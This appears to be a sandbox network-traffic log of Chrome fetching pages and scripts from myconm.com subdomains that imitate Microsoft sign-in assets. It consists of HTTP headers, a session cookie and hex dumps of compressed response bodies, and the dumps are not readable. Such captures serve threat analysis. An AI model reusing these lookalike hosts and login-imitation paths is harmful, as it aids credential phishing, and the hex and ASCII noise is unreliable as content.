20241209T174252Z-15b54885d96vz9hphC1FRA88ug0000000nz0000000015dqt x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:42:53 UTC	15572	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 7d 4d 73 23 c7 92 d8 dd bf 02 0f cf f1 86 5c f5 40 f8 e0 27 46 d0 18 04 c0 19 ec 90 00 04 80 33 52 48 32 a2 09 14 c1 7e 04 ba b1 dd 8d e1 f0 51 e3 78 37 1f f6 e0 ab 7d f3 c1 27 1f 7d f1 dd 3f 65 23 d6 bf c3 f9 51 55 5d d5 dd 00 c8 91 56 6f d7 0a c5 10 dd f5 95 95 95 95 95 99 95 99 fd 87 9b b5 3f 8d bd c0 df 13 fb 8f ea 77 21 d8 f3 f7 1f bd 9b 3d ef 47 ff e7 fd 50 c4 eb d0 2f e0 ef 92 f8 b4 0a c2 38 7a f5 d1 0d 0b 71 03 5f 35 1e e5 bb fa e3 67 c7 9b d5 7d 67 11 b8 33 31 ab ff a1 f2 f9 95 6c 2a b0 e9 d4 5d 2c f6 62 d5 83 13 3b c9 ef 60 1f 1e b8 59 e3 0f e5 a4 e0 33 0e e3 35 1e 75 47 41 69 d9 10 4e 50 9a 36 3c f8 77 d5 28 16 9d 60 af bc ff 79 ef c7 64 1a 4e e0 78 00 fc 5e 75 9f a0 f4 1b de 5e 05 fa 87 3f 87 fb 4e 08 7f 8e f6 Data Ascii: }Ms#\@'F3RH2~Qx7}'}?e#QU]Vo?w!=GP/8zq_5g}g31l*],b;`Y35uGAiNP6<w(`ydNx^u^?N
2024-12-09 17:42:53 UTC	773	IN	Data Raw: e8 04 1b c0 7a 77 4c f1 70 ee 03 7e b9 52 66 00 e0 2d 4b 19 b6 30 82 b4 8c 07 10 e2 6a 41 51 4f 3c 0d 86 9c fb 90 51 1e b8 7e 38 ef ac ca 5b ce 0d e6 a8 e8 40 1c 3c 54 74 00 12 3d d5 58 6e a1 df 32 fc 96 7e 1f e6 a4 0f c0 6d c1 20 4b f4 e5 94 23 08 f2 7a 2b a7 b0 22 f9 95 e1 1b bc 5a 63 78 0f a0 e3 c1 92 39 86 02 bf 1f 40 12 07 fe c0 04 ed 43 f1 51 60 30 01 9f 99 b9 11 22 9c 9c 46 f5 21 03 4e d8 91 99 23 47 70 69 f5 43 13 bf cf 2b a3 5b 30 aa 4d 00 19 ad 61 59 30 a3 07 1c ad 07 46 55 f6 20 7e 60 b4 50 c6 37 58 14 8d 87 24 dd 1a 60 1d ef 0e ff 78 de 3c 3f 3d 3f 29 da 42 15 9f 5b 3c cd 11 b4 5f 48 e5 b0 5e 8c 8c 27 d8 05 98 35 59 15 2d 93 07 3e a7 63 10 ab 63 49 07 c0 d2 95 1b 8e 96 fc d4 b9 0c ab 80 76 df 91 f7 17 e2 c7 c6 08 08 ae 98 e1 2e 77 5a 67 fd 21 Data Ascii: zwLp~Rf-K0jAQO<Q~8[@<Tt=Xn2~m K#z+"Zcx9@CQ`0"F!N#GpiC+[0MaY0FU ~`P7X$`x<?=?)B[<_H^'5Y->ccIv.wZg!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.17	49802	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:51 UTC	794	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: l1ve.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:42:52 UTC	514	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:42:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1420 Connection: close cache-control: max-age=315360000 vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" referrer-policy: strict-origin-when-cross-origin x-ms-route-info: C508_SN1 x-ms-request-id: 874a4302-effd-4aba-a8ed-a19f54d8d110 ppserver: PPV: 30 H: SN1PEPF0002F06F V: 0 content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-12-09 17:42:52 UTC	1420	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 b5 57 db 6e db 38 10 7d ef 57 d8 44 61 88 6b ae 22 5f e2 38 72 98 a0 e8 76 51 17 4d 5b 54 5d ec 83 ab 05 18 89 b2 b9 95 29 81 a4 dd 06 8e fe 7d 47 37 4b 56 bb 09 fa d0 87 c4 f2 70 e6 f0 9c e1 cc 50 be d2 81 12 a9 e9 99 fb 94 53 64 f8 37 73 f6 2f db b3 d2 8a ae 9f f5 fa d1 4e 06 46 24 d2 32 84 e3 43 94 28 6b cf 54 4f f7 84 ec 71 6c 56 da a7 1c fe 65 96 d9 08 4d 1a 67 70 ad 9e 7b dc 92 f8 20 22 4b af a4 8f 15 37 3b 25 7b f9 b3 cd bf a5 89 32 7a 91 03 0a 9a 9b e8 a1 b2 b9 87 8c 88 d0 95 24 4e 58 c8 43 b7 3f ca 16 55 a8 c9 43 03 16 c7 96 a8 11 88 20 cd 33 c7 f0 a5 0c a3 7d a7 59 c8 0a de f4 70 04 e2 f6 96 82 28 3b a0 10 64 a7 14 21 c2 2d 07 67 d6 aa a3 b9 16 a2 0b 59 55 06 38 8d 56 9e 4f 34 75 88 a4 dc 8e b9 5c 9b cd 42 5f c9 c5 Data Ascii: Wn8}WDak"_8rvQM[T])}G7KVpPSd7s/NF$2C(kTOqlVeMgp{ "K7;%{2z$NXC?UC 3}Yp(;d!-gYU8VO4u\B_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.17	49803	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:52 UTC	540	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_i5YupurhQAo9inu_OetqHw2.js HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:42:54 UTC	807	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:42:53 GMT Content-Type: application/x-javascript Content-Length: 122347 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 01 Nov 2024 20:24:27 GMT etag: 0x8DCFAB32EE49129 x-ms-request-id: 5b5db0b7-f01e-0005-6ed0-446632000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174253Z-15b54885d96sd9q4hC1FRAc8640000000pa0000000003ebx x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:42:54 UTC	15577	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 7b 57 e3 b8 b2 38 fa ff fd 14 c1 7b 5f 26 19 4c 3a ce 8b c4 b4 87 13 02 74 b3 07 08 43 a0 67 f6 a1 d9 2c c7 56 82 07 c7 ce b1 1d 1e 3b e4 7c f6 5f 55 49 b2 e5 c4 a1 bb e7 9c 75 ef ba eb ee 47 13 4b a5 57 a9 54 aa 2a 95 4a 1f 7e de fa bf 4a 3f 97 76 bf ff 3f a5 e1 75 ef ea ba 34 38 29 5d 7f 3e bd 3a 2a 5d c2 d7 3f 4b 17 83 eb d3 fe f1 f7 d7 83 8d e2 ff af 1f bc b8 34 f6 7c 56 82 bf 23 3b 66 6e 29 0c 4a 61 54 f2 02 27 8c 66 61 64 27 2c 2e 4d e1 df c8 b3 fd d2 38 0a a7 a5 e4 81 95 66 51 f8 27 73 92 b8 e4 7b 71 02 85 46 cc 0f 9f 4b 65 a8 2e 72 4b 97 76 94 bc 96 4e 2f 2b 55 a8 9f 41 6d de c4 0b a0 b4 13 ce 5e e1 f7 43 52 0a c2 c4 73 58 c9 0e 5c aa cd 87 8f 20 66 a5 79 e0 b2 a8 f4 fc e0 39 0f a5 73 cf 89 c2 38 1c 27 a5 88 39 Data Ascii: {W8{_&L:tCg,V;\|_UIuGKWTJ~J?v?u48)]>:]?K4\|V#;fn)JaT'fad',.M8fQ's{qFKe.rKvN/+UAm^CRsX\ fy9s8'9
2024-12-09 17:42:54 UTC	14460	IN	Data Raw: 3b 50 89 04 ec f1 2d c2 5a 13 0f 60 cd 81 b0 92 2a d5 b6 52 bb b5 55 d3 ed 2a 43 5f 08 8c 3d f3 9d aa 20 68 24 52 f0 ce ca 5a 1e 68 09 c0 81 9f f0 78 a1 5c 11 52 77 79 11 f0 cb fe 9a ed 3f db af b1 b6 ac 40 83 b8 1b c0 78 07 33 ec 50 0c 78 b1 89 cb 38 91 37 ca f7 5f a9 3f 83 28 67 02 2d a0 00 a4 9f 32 3f a1 4e b8 93 41 59 2d 34 63 ec b1 cc 95 57 9c 30 b4 90 4d 67 78 69 86 3b 80 58 45 7b 0e f0 14 00 1c 64 83 61 59 85 95 6f 98 9c f6 33 fb 86 27 1d a4 df 9b 36 1d 4d 00 06 9a 00 84 ca 0f d2 b7 b8 87 9d cd 58 bc 52 0e f5 77 f4 11 01 85 e9 c8 8e 1e b3 88 09 fb de 8a e7 db 21 fa 63 91 2f 21 5e 04 59 cd fd 1d fd b2 94 dc b5 fa 2c 1b c5 26 f4 34 a6 db 33 17 78 d3 1c f6 90 aa 0b 50 59 4a a2 2b 74 0b 6b 3c da e0 7e c7 ac a8 5a e4 e6 88 66 d1 cd fd 16 3e 65 b8 8d be Data Ascii: ;P-Z`RUC_= h$RZhx\Rwy?@x3Px87_?(g-2?NAY-4cW0Mgxi;XE{daYo3'6MXRw!c/!^Y,&43xPYJ+tk<~Zf>e
2024-12-09 17:42:54 UTC	16384	IN	Data Raw: 80 e1 01 0e 69 87 c0 34 0f f5 71 1a fe 2e ba 8f 91 7a 19 18 19 7d 18 d1 0f d9 90 74 21 3b e3 31 52 06 9f c5 03 e4 40 95 ca 24 cd 32 3e 61 f6 a2 31 ae 17 f9 7a 16 d4 17 06 57 32 e9 6a e0 bf 52 53 7e b7 8f f2 d0 f8 de c8 2a ed d8 46 6c c7 36 a3 18 7f 90 f1 83 c8 23 f4 ca 0a a7 a8 77 dc 33 52 ba f6 63 80 3a 5e f2 ab b1 4f 5e 38 8e 2b 51 e8 dc 3b bf e7 5f 21 05 8c f7 d1 c2 db c5 c5 77 30 07 9f 9b 38 a2 fe 9b b0 60 35 70 cd 1e 84 d3 66 89 f8 25 46 c6 fd d9 ff 05 8a 40 8a 0d e3 20 ac cc 09 84 20 10 be 62 75 cd eb ec 20 a5 c0 b1 b4 4f 52 1b 4f d8 95 58 1d 13 51 a1 8d 0a 04 39 a4 07 05 91 83 64 e2 07 23 34 2f 97 a4 1a 45 f3 16 76 40 74 4d 48 84 cf 87 48 f0 77 65 2f d6 56 aa bd c8 dd b5 6d 06 3c da 65 2c b0 3d a0 86 94 8c c0 3d 16 fe db 6a b3 bd 47 ab 7d de e3 47 Data Ascii: i4q.z}t!;1R@$2>a1zW2jRS~*Fl6#w3Rc:^O^8+Q;_!w08`5pf%F@ bu OROXQ9d#4/Ev@tMHHwe/Vm<e,==jG}G
2024-12-09 17:42:54 UTC	16384	IN	Data Raw: 5f cd 7a c0 aa 0b ce b0 53 7d ff 21 1a f3 bb 0f 35 f5 9c c0 01 b9 33 1a 71 86 a3 9a 0c 0c 3f 83 7e af 9c e7 c4 1e 0b 2d a9 94 0d dc 2b bd a6 d5 c0 77 d3 f1 84 85 41 72 c8 ec 8c 2c 93 e6 57 fc db 7a 3d a4 9d 7e c0 db 7e f0 29 ce 6f 30 14 d9 49 aa 86 f8 47 7b 5c e0 5a 82 f9 b9 e5 f3 41 4e 82 9d 83 8f 08 3d 34 ef ec d6 8c 85 f8 7c ac 8d df 39 4b cf 2e 00 f7 1a b6 81 5f 1e db cd a5 db a1 78 7b 64 bf ad 33 ff e4 8c bb 56 3e 7d 60 16 25 dd d8 8d 98 90 51 04 cf 8b 5d 47 9e 5e 5f 8f c4 7e 7a 8b 73 b3 97 65 7b 48 04 73 ce 37 f6 2c 5b cc 27 65 78 6b 67 98 26 5f 26 d1 b8 3c 1c c3 9a e1 b4 f6 c4 89 bd 96 06 64 0d 68 af a5 23 7b d4 71 c3 c2 dc ef b1 95 b9 1c 11 dd 16 6a 85 ae 5b 5d b9 86 0a 0f 79 76 20 d5 e7 bc a9 f1 05 26 cc 4a 94 fd 61 f0 30 25 4c 2a c5 89 ae ba a8 Data Ascii: _zS}!53q?~-+wAr,Wz=~~)o0IG{\ZAN=4\|9K._x{d3V>}`%Q]G^_~zse{Hs7,['exkg&_&<dh#{qj[]yv &Ja0%L*
2024-12-09 17:42:54 UTC	2731	IN	Data Raw: bd f1 9e 11 2f d8 82 e9 28 d0 3c 7b 8c f5 68 fa 0d fa 31 f3 81 3e 0a b6 5c 1c bd e0 8d f5 77 ab 55 ca 6b 01 59 27 a0 bf 49 a6 b1 f1 a4 b1 5d 77 3b bd 26 6a c9 16 39 75 53 39 30 a9 a5 9c 40 e4 fb 99 b7 08 1a 15 45 b6 68 9a 55 0b 41 d1 47 48 c0 48 a3 d3 24 85 53 ea 4a 80 27 d9 d3 a7 99 22 a0 5a 5c 84 68 30 70 b3 a5 9a 45 ad 3e 89 d9 85 d6 cf 1e 1e 22 3e 71 e4 cb d0 33 48 5b 61 56 d0 05 61 a7 ad d5 ff 65 d9 11 be 4d dd 0d 60 44 a0 59 a7 60 39 f3 d8 43 36 73 a7 7f 46 b0 ec ae a8 a3 1a 05 de ce 50 08 f7 b6 47 0f 3c 21 1f 17 4f 65 2a 35 9d 4a 10 b4 fe b5 9e 2b 7e 12 12 21 4d 39 19 ac 92 18 e1 9f 3c 8d ee a0 7e 58 65 97 3e fb 2e 16 0c 6c 91 89 e8 6b ea 8f b8 22 2d b9 5c 26 e3 71 9c 3e e2 c0 a2 1a fa a7 3c 58 6c b6 a8 db b6 67 39 60 5b 16 7a 96 b8 d8 d0 6f a5 ba Data Ascii: /(<{h1>\wUkY'I]w;&j9uS90@EhUAGHH$SJ'"Z\h0pE>">q3H[aVaeM`DY`9C6sFPG<!Oe*5J+~!M9<~Xe>.lk"-\&q><Xlg9`[zo
2024-12-09 17:42:54 UTC	16384	IN	Data Raw: 4f 73 fa 31 18 f1 9f 60 ea d2 0f 92 aa 87 7e c1 37 e8 97 b7 b6 11 e4 f4 5f a6 da 30 45 9b e7 f8 e7 1a ff 64 e1 84 be 74 d1 cf 1e 1e f2 be 77 11 ce 68 f8 a9 8a e7 1b 3e b1 4f 17 f4 01 b9 81 6f cc a5 a1 d3 d3 a9 ea e4 59 78 4f fc 6e 39 2f 82 d2 17 7c 92 f4 f4 f9 f3 1c 70 31 34 15 c8 ff 85 94 49 aa 12 aa 81 ea 1d 5c 2f af 24 51 95 c4 54 49 a6 2b c9 60 dc a7 4a 7d ba e7 47 34 b9 70 56 7d 78 98 aa 64 63 ea 55 5a b3 65 c4 ec 86 69 48 7e b6 b0 41 ba b0 78 dd 6b 62 28 69 7b 8f 89 d6 ec 25 d7 49 89 e8 f7 02 4e a0 df 4c 3c 7f da 83 cb 70 ce ee d7 2d 4c b5 9a b5 31 09 9d 61 96 4d e3 c8 4e 7b 35 b8 af 57 1b 24 0b 80 ca dc 2f fc 12 8e 21 34 d4 62 9e 45 ea 18 15 61 62 e0 05 58 0c 23 c6 63 8c 13 89 c8 2a 03 b3 8e e1 65 cf 38 72 a9 75 4b 17 4a bc 4a c3 3e 2f 93 69 c1 e8 Data Ascii: Os1`~7_0Edtwh>OoYxOn9/\|p14I\/$QTI+`J}G4pV}xdcUZeiH~Axkb(i{%INL<p-L1aMN{5W$/!4bEabX#c*e8ruKJJ>/i
2024-12-09 17:42:54 UTC	15472	IN	Data Raw: cb 60 37 9d a5 0e c4 82 97 41 95 88 b8 00 07 b7 05 63 b0 04 82 90 54 16 e8 c9 b7 db 8a 59 ed c6 68 46 49 02 8b d5 83 09 13 0b 3f 61 9e 2b 78 22 b9 f4 ec 3c 0c 49 48 ee 86 9e fc d4 06 8d c6 2c cb 03 ac 89 1d 40 30 b9 9c 25 be 4f da 73 08 c1 be 9b a9 33 9a 51 16 80 7c 72 e9 c7 36 d8 b8 17 d9 8e 1f 3b 0c b3 09 16 2b 6c db dd 09 27 77 83 d4 75 05 64 5e 4e 66 a1 63 27 90 e4 2e 13 8e ef c4 90 ef b1 1f 25 d1 4e ba 31 9a 51 22 82 28 76 ec d0 73 63 df b6 69 60 76 66 07 50 5c 88 a9 87 b7 dc 9f 5b eb 0c 16 a1 c3 ec 38 f6 45 c2 7d e8 e7 12 9c 4f f0 2c 63 b0 07 98 cf c5 ed f6 4e 57 bb 31 9a 11 97 81 cc 6c 06 c5 88 b1 c8 f7 80 83 dc 76 13 a8 12 91 9b 89 38 d9 89 66 e4 46 a9 1f c2 b0 08 59 9e 88 18 48 2e 85 70 62 d8 4c 61 86 89 e4 41 16 ef 66 4c 46 33 12 61 e0 46 2c 8b Data Ascii: `7AcTYhFI?a+x"<IH,@0%Os3Q\|r6;+l'wud^Nfc'.%N1Q"(vsci`vfP\[8E}O,cNW1lv8fFYH.pbLaAfLF3aF,
2024-12-09 17:42:54 UTC	16384	IN	Data Raw: bb cd f3 de ad b6 89 0c 56 4c f5 56 63 57 5a ed ed 36 d6 2d 53 fa d3 d1 d4 67 e5 62 e9 c6 a0 f4 6d 68 5a d4 a2 99 62 cd 2b 15 00 b6 a6 bf ab d6 d7 c5 7f af f4 d7 0c 7b 4d 07 b8 b6 94 af 54 fd bf 44 3c fd d9 9d 88 bf 9d 98 fe 53 8b d6 5b b1 f9 5b f3 e0 db 31 d0 ab c8 b8 fd ee 6a 63 bc 5d a2 ed b4 fb bd 69 9c b8 ac fe b4 03 6d ff 2f 3e b0 fc f3 17 1f f8 8b 0f a8 3f 9f e6 03 d7 25 e1 a7 f5 9e 43 87 78 f5 59 a5 c5 7b ed c8 ed d0 ad 78 0f 2a 2c b8 b9 fa 60 5b 0b de 6c 79 fc 07 90 f5 45 a3 01 b6 28 ca bc dc 39 2b 38 2d ce 09 67 80 82 e2 db 72 fe a2 af ef fe 22 9b 6c ff 7a 21 ea 04 86 75 ba f6 4e 7b fd 45 3e 65 d9 5f 61 d3 5f a5 08 d3 45 04 0b 2d 3d ba b5 db 1f 36 af c4 e3 65 a9 c6 3e ed 2e cb 7a 89 2b 6c 06 2a 45 a8 60 d0 fe 91 ac 78 a7 c1 4d 85 76 ca 7e eb 98 Data Ascii: VLVcWZ6-SgbmhZb+{MTD<S[[1jc]im/>?%CxY{x,`[lyE(9+8-gr"lz!uN{E>e_a_E-=6e>.z+lE`xMv~
2024-12-09 17:42:54 UTC	8571	IN	Data Raw: b0 fc b6 a4 8e a0 56 91 67 6c 05 e8 8a 9f 2c 50 a0 43 b5 93 93 30 c0 b1 a3 76 a8 7d 2e e9 2f 6f e1 37 ec 16 7e c0 12 22 27 da 2b d4 46 60 5c 17 d1 07 12 6a cf e0 57 94 5e 93 f8 c4 5b bc 25 5e 10 13 37 05 69 5e 3b 85 e7 f6 47 3b 98 a3 40 8b fe 94 cb 05 02 29 a1 f1 8a 5e c0 4b 10 9d d2 e8 86 4d 36 d1 de d1 71 1c d1 67 c1 ef 74 5b 7a 01 95 97 31 d1 de 4c 69 40 18 e8 80 4a 80 da 6b ac 6c 87 29 cb 70 fa af 68 19 c3 b7 68 19 d2 40 6a da cf f0 16 cd 07 fc 19 00 89 a4 f9 ea 24 da 7f 70 5c b4 e6 5b e2 62 78 6e 76 f0 f0 12 d5 91 28 98 93 18 b3 91 d1 34 ea da 2f 53 1a d4 57 fb 06 fe fa 74 29 ce ae 61 bf c7 c9 9c 80 fa 55 78 78 12 2e 96 a9 f6 63 56 f2 fc 03 ac 14 c2 0b b4 9b 20 d4 7e c3 17 47 18 0d 8c df 45 13 76 91 17 f4 e0 4a fb c7 94 1a db e8 68 cf 60 f3 fa 14 c5 Data Ascii: Vgl,PC0v}./o7~"'+F`\jW^[%^7i^;G;@)^KM6qgt[z1Li@Jkl)phh@j$p\[bxnv(4/SWt)aUxx.cV ~GEvJh`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.17	49804	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:52 UTC	698	OUT	GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:42:54 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:42:53 GMT Content-Type: application/x-javascript Content-Length: 61130 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 25 May 2023 17:22:47 GMT etag: 0x8DB5D44A8CEE4F4 x-ms-request-id: 0e67a5c9-001e-0063-59d0-442912000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174253Z-15b54885d967vv5qhC1FRAdx380000000nx0000000003312 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:42:54 UTC	15578	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cc bd 79 5b db c8 b2 38 fc ff fd 14 46 cf 5c 8e 74 e8 38 36 59 26 b1 a3 f1 25 e0 24 9e 61 1b 96 59 0e e1 f0 08 bb 01 25 b6 e4 91 64 08 07 fc dd 7f 55 d5 bb 2c 19 98 99 fb de f7 99 09 96 5a d5 7b 75 75 75 75 2d fe 4d 9c 8c d2 9b 66 c1 c7 7c c2 8b ec f6 ec 86 9f 4f a3 e1 d7 1f f3 34 99 86 4b bf de df 9f 9c 06 cd e9 2c bf f2 4f 4e d6 4f d9 09 63 ec 62 96 0c 8b 38 4d 7c ce 0a 96 04 77 de 2c e7 8d bc c8 e2 61 e1 75 93 66 e6 17 01 4b 9a 23 bf 60 de 2f d1 78 c6 7f 82 0a 3c e6 eb 6c c1 5d c6 8b 59 96 34 b2 26 9f 07 1a b6 7f cd 93 62 3b 2a 78 32 bc ad 01 8f ca e0 fb 3c cb e3 1c b3 f0 9a 2c e7 56 96 a3 2c 1a f2 6d 7e cd c7 35 c0 23 0b 78 63 3a 1d 24 79 7c 79 55 e4 9b 69 56 5d 7c ec b4 e8 7d 94 f3 5a 50 bb e8 b3 fe 37 68 f2 88 8f 06 49 Data Ascii: y[8F\t86Y&%$aY%dU,Z{uuuu-Mf\|O4K,ONOcb8M\|w,aufK#`/x<l]Y4&b;*x2<,V,m~5#xc:$y\|yUiV]\|}ZP7hI
2024-12-09 17:42:54 UTC	14460	IN	Data Raw: ce d4 e4 45 ad 07 1c 5b 54 53 0a 94 8a 56 11 b8 61 d4 4c 05 57 ec 96 f5 d9 2e 55 b3 82 22 21 53 14 2a 7b 1a 59 52 1e f8 b7 e5 eb 28 31 8a ba 58 dc 5d c9 eb 91 2e 42 17 4f a4 66 a0 e8 cb 15 b7 42 61 ed 73 e1 cd c0 88 82 02 34 80 ba 2e f0 2e 21 9f c2 16 b0 ba ea be 43 bb d8 d0 d6 89 87 fc 43 f7 66 f3 b6 76 78 84 1a 99 90 bd 08 36 f9 a6 82 5e 2a 03 4d 6a 9b 50 57 67 72 16 18 5a a6 99 c6 b2 38 fc 0e d5 50 70 0b 94 9c 81 08 fd d3 ff 56 6c 5e 5c e2 bd 99 be c8 b0 c3 2e 55 b9 db 26 4f db 89 90 d6 60 41 c0 7e 92 4f 66 cd f3 23 00 a9 23 17 b6 c3 a1 68 ee 5f 01 29 29 fc 1b 0a f2 07 28 fd 2b 57 38 83 a2 27 48 f8 c0 fd 3d 76 53 2b 7a 96 7d 23 3f a4 04 ff 9b bb 8d fb 65 36 a1 6c 15 e0 70 0f 77 fb f2 26 08 96 ed be b8 04 ea 24 f3 ae 73 42 f6 c5 ed 86 e7 f0 4e 40 52 a0 Data Ascii: E[TSVaLW.U"!S{YR(1X].BOfBas4..!CCfvx6^MjPWgrZ8PpVl^\.U&O`A~Of##h_))(+W8'H=vS+z}#?e6lpw&$sBN@R
2024-12-09 17:42:54 UTC	16384	IN	Data Raw: ca dd 07 24 4b 4d 33 b7 95 d4 ec ad 48 db 30 2c de 3e db 9a 51 46 e7 6f c3 49 d9 71 7a 29 3b 1d ab 4e a7 e8 34 5d ab 2c 76 63 b8 42 fd b2 c6 30 c0 35 f0 32 ee 0c a8 93 03 d9 43 37 a3 9b 40 4d 70 4a b3 3b e8 b1 d5 c1 42 3f 4d e5 b5 df 9e ec 67 c6 f2 d7 b2 ab e2 bd b6 b7 0c f0 b5 16 93 04 f9 5b 5e 56 6a 36 5d 6c f6 84 c6 1d 47 39 4f 5f c2 b2 41 4e ad d7 f1 68 aa 3b 58 31 fa ed cd 55 09 4a d6 03 0b 0a 37 f3 39 92 58 8a 21 c1 a4 a6 66 2c 3f 2f 58 d1 0e d9 bd 00 21 bb 5d f1 43 50 20 62 a4 a2 2b 7e dc 67 ff f3 67 be 3e a3 ff 7f 20 0c 34 6d 10 10 43 70 6f 86 fa bf 07 ab 5f 15 26 2b 7c 22 6b 37 27 87 f9 01 c1 d8 28 03 6b c9 75 54 21 c7 f3 7f 0d 2e ca 57 9f 79 49 83 70 1c e9 04 d6 87 01 f3 cb b1 65 f2 94 10 e7 06 86 eb b0 ed d5 42 5b 8e 0d 40 7b e5 ed f2 47 09 aa Data Ascii: $KM3H0,>QFoIqz);N4],vcB052C7@MpJ;B?Mg[^Vj6]lG9O_ANh;X1UJ79X!f,?/X!]CP b+~gg> 4mCpo_&+\|"k7'(kuT!.WyIpeB[@{G
2024-12-09 17:42:54 UTC	14708	IN	Data Raw: c9 6f 28 42 3c 18 8e 23 59 43 2f 31 9d f0 51 87 ef 69 c2 ba f0 ff 32 cc f2 8b 7b 56 e0 4d 84 4b 8a 77 94 c2 94 2b bd 65 63 ba f6 d6 9c f5 82 75 1b e8 10 ee b9 ce de b4 b8 fe 90 87 82 f5 7a 16 0f 6e 22 a8 51 d7 a6 22 ae 23 7d 31 18 c7 b4 e2 1b 52 3c 40 85 2b 09 66 21 b8 1a 75 f6 c5 f3 e1 50 64 d1 1d 72 13 3d 52 ba 7c e0 44 00 59 c1 77 d8 28 d2 0d 66 be 6e dc 12 81 17 e7 54 f0 1b 99 fc f1 74 82 eb 66 03 c5 1c df 7a e3 6c 0c e6 b7 b3 f4 26 4a e4 c8 e4 8b 38 41 6f be 4d 36 e1 56 65 46 d0 a5 da 71 ef 84 a8 29 87 5c 4c 78 d5 e8 13 62 3d f1 81 73 83 42 73 ba 83 94 72 8b 6c 1a d1 5c 3b 03 f0 5e 69 f8 6c ca 66 af 3d 2d 43 58 72 b6 9f 3d 6c 7c 21 54 72 83 c0 61 14 de 3a f0 cc 0a df 22 fe 29 10 b3 7b e1 7d c4 df c3 cb 1b c2 b9 3e 02 2f 79 0f 4c ed 03 0e d6 39 9e 3e Data Ascii: o(B<#YC/1Qi2{VMKw+ecuzn"Q"#}1R<@+f!uPdr=R\|DYw(fnTtfzl&J8AoM6VeFq)\Lxb=sBsrl\;^ilf=-CXr=l\|!Tra:"){}>/yL9>

